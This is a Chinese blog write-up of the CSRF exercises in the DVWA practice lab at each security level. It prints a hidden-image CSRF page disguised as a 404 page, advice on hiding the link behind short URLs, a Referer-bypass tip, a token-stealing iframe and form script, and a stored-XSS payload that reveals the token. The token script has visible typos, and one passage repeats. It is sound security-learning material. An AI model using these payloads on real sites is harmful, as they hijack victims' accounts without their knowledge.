dvwa之csrf

最新推荐文章于 2023-01-13 11:58:11 发布
最新推荐文章于 2023-01-13 11:58:11 发布
阅读量222 收藏
点赞数 1
分类专栏： web安全学习
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_45670595/article/details/114479152
版权

dvwa之csrf

low

1. 在新的页面中打开以下url，发现成功修改密码

http://192.168.43.116/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#

需要注意的是，CSRF最关键的是利用受害者的cookie向服务器发送伪造请求，所以如果受害者之前用Chrome浏览器登录的这个系统，而用搜狗浏览器点击这个链接，攻击是不会触发的，因为搜狗浏览器并不能利用Chrome浏览器的cookie，所以会自动跳转到登录界面。

（攻击中我打开了dvwa，所以我是用的自己的cookie点开了这个链接）

**2. **

有人会说，这个链接也太明显了吧，不会有人点的，没错，所以真正攻击场景下，我们需要对链接做一些处理。

B) 我们可以使用短链接来隐藏URL（点击短链接，会自动跳转到真实网站）：

如http://dwz.cn/****

1

因为本地搭的环境，服务器域名是ip所以无法生成相应的短链接= =，实际攻击场景下只要目标服务器的域名不是ip，是可以生成相应短链接的。

2

3.构造攻击页面

现实攻击场景下，这种方法需要事先在公网上传一个攻击页面，诱骗受害者去访问，真正能够在受害者不知情的情况下完成CSRF攻击。这里为了方便演示（才不是我租不起服务器= =），就在本地写一个test.html，下面是具体代码。

<img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

medium

增加了refer验证

 if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

Medium级别的代码检查了保留变量 HTTP_REFERER（http包头的Referer参数的值，表示来源地址）中是否包含SERVER_NAME（http包头的Host参数，及要访问的主机名，这里是192.168.43.116），希望通过这种机制抵御CSRF攻击。

抓包发现我们构造的链接里没有refer,抓包修改refer

high

增加了token验证

 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php');

用户每次访问改密页面时，服务器都会返回一个随机的token，当浏览器向服务器发起请求时，需要提交token参数，而服务器在收到请求时，会优先检查token，只有token正确，才会处理客户端的请求。

因为该请求是get请求，所以token验证会被放在请求URL中，我们随便输入密码验证一下，可以看到，在请求的URL中最末尾加入了token。

浏览器的同源策略

<html>
<head lang="en">
    <meta charest="UTF-8">
    <title></title>
    <script type= "text/javascript">
    fountion attack()
    { 	doucument.getElementsByName('user_token')[0].value=document.getElementsById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
    document.getElementById('transfer').submit();
     
     /*contentDocument 属性能够以 HTML 对象来返回 iframe 中的文档。可以通过所有标准的 DOM 方法来处理被返回的对象。*/
    }
   </script>
    </head>
    <body onload="attack()">
        <iframe src="http://dvwatansfer" id ="hack" stytle="style:none">
        </iframe>
        <form method="GET" id="transfer" action="http://dvwatransfer">
            <input type="hidden" name="password_new" value="admin" >
            <input type="hidden" name="password_conf" value="admin">
            <input type="hidden" name ="user_token" value="">
            <input type="hidden" name="Change" value="Change">
        </form>
    </body>
</html>

我们的框架iframe访问的地址是http://192.168.43.116/dvwa/vulnerabilities/csrf，位于服务器192.168.43.116上，而我们的攻击页面位于黑客服务器192.168.xx.xx上，两者的域名不同，域名B下的所有页面都不允许主动获取域名A下的页面内容，除非域名A下的页面主动发送信息给域名B的页面，所以我们的攻击脚本是不可能取到改密界面中的user_token。

由于这里跨域是不能实现的，所以我们之前的想法以失败告终了。

在这里，我们要想获取到用户的token,并提交修改密码的表单的话，就必须得把我们的攻击脚本注入到目标服务器中 。而要想注入到目标服务器，同时得发挥作用，获取用户的 token修改密码的话，就得和XSS漏洞一起结合实现了。
我们将如下代码通过存储型XSS插入到数据库中，这语句会弹出用户的token

<iframe src="../csrf/" οnlοad=alert(frames[0].document.getElementsByName('user_token')[0].value)></iframe>

src是csrf的（high）,弹出的是其token

onload事件会在页面或图像加载完成后立即发生。常用于在页面完全载入后(包括图片、css文件等等)执行脚本代码。

impossible

要求输入原来的密码

src是csrf的（high）,弹出的是其token

onload事件会在页面或图像加载完成后立即发生。常用于在页面完全载入后(包括图片、css文件等等)执行脚本代码。

impossible

要求输入原来的密码

瓜皮鸭
关注
专栏目录
DVWA之CSRF
GVFDBDF的专栏
09-05 1100
1、源码审计（low级别）                      if (isset($_GET['Change'])) {              // Turn requests into variables         $pass_new = $_GET['password_new'];         $pass_conf = $_GET['passwor
dvwa之CSRF
Alsn86的博客
02-05 375
dvwa之CSRF 是一个修改密码的功能 把密码修改为111111的请求数据包是这样的,请求链接为http://192.168.1.110/dvwa-master/vulnerabilities/csrf/?password_new=111111&password_conf=111111&Change=Change CSRF之low等级 <?php if( isset( $_GET[ 'Change' ] ) ) { // Get input $pass_new = $_G
DVWA 之 CSRF
RexHa的博客
09-30 7665
CSRF，跨站域请求伪造，通常攻击者会伪造一个场景（例如一条链接），来诱使用户点击，用户一旦点击，黑客的攻击目的也就达到了，他可以盗用你的身份，以你的名义发送恶意请求。
dvwa csrf
一个安全研究员
05-17 632
科普 csrf就是江湖中的借刀杀人，这里的刀就是用户的cookie，例如：当一个用户登陆了某个系统时，该用户就持有了这个系统分发给他的会话，然后csrf这个漏洞就是我们可以利用这个会话来伪造请求。具体的利用方法，我将通过dvwa中的实例来讲解。 low 虽然我们的dvwa中比起真实的环境差了太多，但是我们可以假设我们现在处于一个真实的环境中，我们打开csrf页面，可以看到是一个改密的页面： ...
Dvwa之CSRF全级别学习笔记
Mbys_Lettuce的博客
09-27 306
CSRF，全称Cross-site request forgery，就是跨站请求伪造，指利用受害者尚未失效的身份认证信息，诱骗其点击恶意链接或者访问包含攻击代码的页面，在受害人不知情的情况下以受害者的身份向服务器发送请求，从而完成非法操作（如转账、改密等）。本次直接使用low级别的还能攻击成功的原因是，我将恶意网站放在了该网站的服务器里，导致被攻击者访问时点击进入恶意网站，发出修改指令的文件头还是这个主机，所以才能试验成功，通常情况下可以通过上传漏洞将文件传入被攻击者网页中。本文为学习笔记，仅供学习！
DVWA之CSRF漏洞（详细）
热门推荐
qq_44720671的博客
07-26 2万+
CSRF简介 csrf全称为：Cross-site request forgery，是一种常见的web攻击。在场景中，攻击者会伪造一个请求（通常是一个链接），然后欺骗目标用户点击，用户一旦点击，攻击也就完成了。 与xss的区别：csrf是借助用户的权限完成攻击，攻击者并没有拿到权限；而xss是直接盗取用户权限去进行破坏。 更改难度： 点击dvwa security，选择难度，然后点击submit...
DVWA之CSRF漏洞
qq_40023447的博客
07-18 1616
CSFR漏洞 CSRF简介 CSRF全名是Cross Site Request Forgery,翻译成中文就是跨站点请求伪造。其通过利用受害者尚未失效的身份认证信息（cookie、会话等），诱骗其点击恶意链接或者访问包含攻击代码的页面，在受害人不知情的情况下以受害者的身份向（身份认证信息所对应的）服务器发送请求，从而完成非法操作。 漏洞原理 因为Web应用程序在用户进行敏感操作时，如修改账...
DVWA之CSRF攻击（Low&medium&High）
liweibin812的博客
01-14 5212
CSRF，全称Cross-site request forgery，翻译过来就是跨站请求伪造，是指利用受害者尚未失效的身份认证信息（cookie、会话等），诱骗其点击恶意链接或者访问包含攻击代码的页面，在受害人不知情的情况下以受害者的身份向（身份认证信息所对应的）服务器发送请求，从而完成非法操作（如转账、改密等）。CSRF与XSS最大的区别就在于，CSRF并没有盗取cookie而是直接利用。在20...
dvwa-csrf
Alter__的博客
04-23 401
(元素可提供有关页面的元信息，比如针对搜索引擎和更新频度的描述和关键词) (关联css文件) (role充当什么角色nav？)
DVWA CSRF
m0_73606240的博客
01-13 195
DVWA CSRF
DVWA-csrf
Darklord.W
04-09 195
低 构造修改密码的链接： 写一个修改密码的脚本文件，访问该页面就可以修改密码： 复制到kali中并开启ａｐａｃｈｅ服务 重置数据库密码，并用其他虚拟机访问ｋａｌｉ脚本 此时便可以用修改后的密码登录dvwa 构造攻击页面需要事先在公网上传一个攻击页面，诱骗受害者去访问，真正能够在受害者不知情的情况下完成CSRF攻击 中 以通过抓包将主机名放在h...
DVWA-CSRF
STTTM的博客
12-18 1035
LOW等级： 首先进行正常操作。 接下来打开burpsuit抓包 如图所示，将password参数test改为password： 退出DVWA用刚刚修改的密码成功登陆： 由此可知，这个数据包发送给其他用户，只要该用户登陆了DVWA的网站，就能修改他们的密码，攻击者只要修改password_new和password_conf这两个参数为自己想要的密码，将新的get请求的...
DVWA之CSRF攻击
weixin_47726676的博客
05-16 2104
d
新手指南：DVWA全级别教程之CSRF
g695144224的博客
08-09 2807
转自：http://www.freebuf.com/articles/web/118352.html DVWA简介DVWA（Damn Vulnerable Web Application）是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用，旨在为安全专业人员测试自己的专业技能和工具提供合法的环境，帮助web开发者更好的理解web应用安全防范的过程。DVWA共有十个模块，分别是Brute
DVWA通关CSRF
最新发布
04-11
DVWA（Damn Vulnerable Web Application）是一个用于学习和测试Web应用安全的漏洞应用程序。CSRF（Cross-Site Request Forgery）是一种见的Web攻击方式，它利用用户在已认证的网站上的身份进行非法操作。 要通关DVWA的CSRF，你可以按照以下步骤进行： 1. 首先，你需要了解CSRF攻击的原理和过程。CSRF攻击利用了网站对用户请求的信任，通过伪造请求来执行恶意操作。 2. 打开DVWA应用程序，并确保已经配置好了相应的环境。 3. 在DVWA中，找到CSRF页面或功能。通常，这个页面会提供一个表单或链接，用于执行某个操作。 4. 分析页面中的表单或链接，了解它们的作用和参数。 5. 创建一个恶意网页或脚本，其中包含一个伪造的请求，以执行你想要的操作。这个请求应该包含目标网站的URL、参数和值。 6. 在恶意网页或脚本中，使用HTML表单或JavaScript代码来触发伪造请求。确保请求被发送到目标网站，并且用户在访问恶意网页时会自动执行该请求。 7. 当用户访问恶意网页时，他们的浏览器会发送伪造请求到目标网站。如果目标网站没有采取防御措施，那么该请求将被执行，从而实现CSRF攻击。 请注意，进行CSRF攻击是违法行为，仅在合法的测试环境中进行。在真实的应用程序中，应该采取相应的防御措施来防止CSRF攻击。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值